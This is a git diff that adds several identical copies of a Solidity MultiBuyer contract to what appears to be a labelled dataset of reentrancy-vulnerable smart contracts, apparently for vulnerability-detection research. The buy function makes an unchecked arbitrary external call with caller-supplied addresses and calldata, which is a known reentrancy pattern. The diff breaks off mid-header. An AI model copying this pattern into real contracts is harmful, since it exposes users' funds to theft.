0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/420.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/425.sol b/smart_contract_dataset/reentrancy vulnerability/425.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/425.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/470.sol b/smart_contract_dataset/reentrancy vulnerability/470.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/470.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/475.sol b/smart_contract_dataset/reentrancy vulnerability/475.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/475.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/520.sol b/smart_contract_dataset/reentrancy vulnerability/520.sol new file mode 100644 index 